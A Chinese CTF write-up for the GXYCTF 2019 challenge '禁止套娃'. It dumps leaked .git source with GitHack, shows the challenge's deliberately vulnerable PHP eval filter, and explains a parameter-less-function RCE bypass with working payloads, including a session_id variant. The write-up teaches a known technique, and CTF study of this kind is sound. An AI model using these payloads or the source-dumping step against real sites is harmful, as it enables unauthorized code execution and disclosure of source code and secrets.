GXYCTF-2019-禁止套娃

1. git泄露源码

GitHack扫描泄露源码

1
py -2 GitHack.py http://0e91035e-1a9f-4217-a4b2-af6454fe08b0.node3.buuoj.cn/.git

泄露源码 index.php,查看:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
<?php
include "flag.php";
echo "flag在哪里呢?<br>";
if(isset($_GET['exp'])){
if (!preg_match('/data:\/\/|filter:\/\/|php:\/\/|phar:\/\//i', $_GET['exp'])) {
if(';' === preg_replace('/[a-z,_]+\((?R)?\)/', NULL, $_GET['exp'])) {
if (!preg_match('/et|na|info|dec|bin|hex|oct|pi|log/i', $_GET['exp'])) {
// echo $_GET['exp'];
@eval($_GET['exp']);
}
else{
die("还差一点哦!");
}
}
else{
die("再好好想想!");
}
}
else{
die("还想读flag,臭弟弟!");
}
}
// highlight_file(__FILE__);
?>

2. 分析源码

1
if(';' === preg_replace('/[a-z,_]+\((?R)?\)/', NULL, $_GET['exp']))

[a-z,_]

这就是匹配任意字母到_然后+(?R)? ,后面这个?R是引用当前表达式,形成递归调用,然后继续来匹配。

也就是说,这里这种代码才能通过匹配

1
2
3
4
a();
a(b(c()));
像下面的这种是不可以的,典型的无参数RCE。:
a("123");
1
2
3
4
5
1.需要以GET形式传入一个名为exp的参数。如果满足条件会执行这个exp参数的内容。
2.过滤了常用的几个伪协议,不能以伪协议读取文件。
3.(?R)引用当前表达式,后面加了?递归调用。只能匹配通过无参数的函数。
4.正则匹配掉了et/na/info等关键字,很多函数都用不了。
5:eval($_GET['exp']); 典型的无参数RCE

3. 无参数函数

3.1 print_r()

读取文件函数,相似的函数还有:

1
2
3
4
file_get_content()
readfile()
highlight_file()
show_source()

3.2 localeconv()

返回一个包含本地数字及货币格式信息的数组。

3.4 current()/pos()

返回数组中的当前单元,默认取第一个值。

3.4 scandir()

列出目录中的文件和目录 。

3.5 next()

该函数将内部指针指向数组中的下一个元素并输出。

3.6 end()

取数组的最后一项,数组指针指向下一位。

3.7 array_reverse()

以相反的元素返回数组,将数组颠倒。

3.8 array_rand()

随机返回数组的键名。

3.9 array_flip()

交换数组的键和值。

3.10 highlight_file()

打印输出或者返回filename文件中语法高亮版本的代码。

4. 构建payload

1
?exp=print_r(scandir(pos(localeconv())));   //查看当前目录文件下的存在的数组

1
2
3
?exp=readfile(next(array_reverse(scandir(pos(localeconv())))));
或者/或者其他
?exp=show_source(next(array_reverse(scandir(pos(localeconv())))));

5. 方法二

5.1 session_id(session_start())

这道题目虽然ban了hex关键字,导致hex2bin()被禁用,但是我们可以并不依赖十六进制转ASCII的方式,因为flag.php这些字符是PHPSESSID本身就支持的。使用session之前需要通过session_start()告诉PHP使用session,php默认的是不主动使用session的,session_id()可以获取当前的session_id。

所以我们手动设置名为PHPSESSID的cookie,并设置为flag.php。

参考:https://skysec.top/2019/03/29/PHP-Parametric-Function-RCE/#%E4%BB%80%E4%B9%88%E6%98%AF%E6%97%A0%E5%8F%82%E6%95%B0%E5%87%BD%E6%95%B0RCE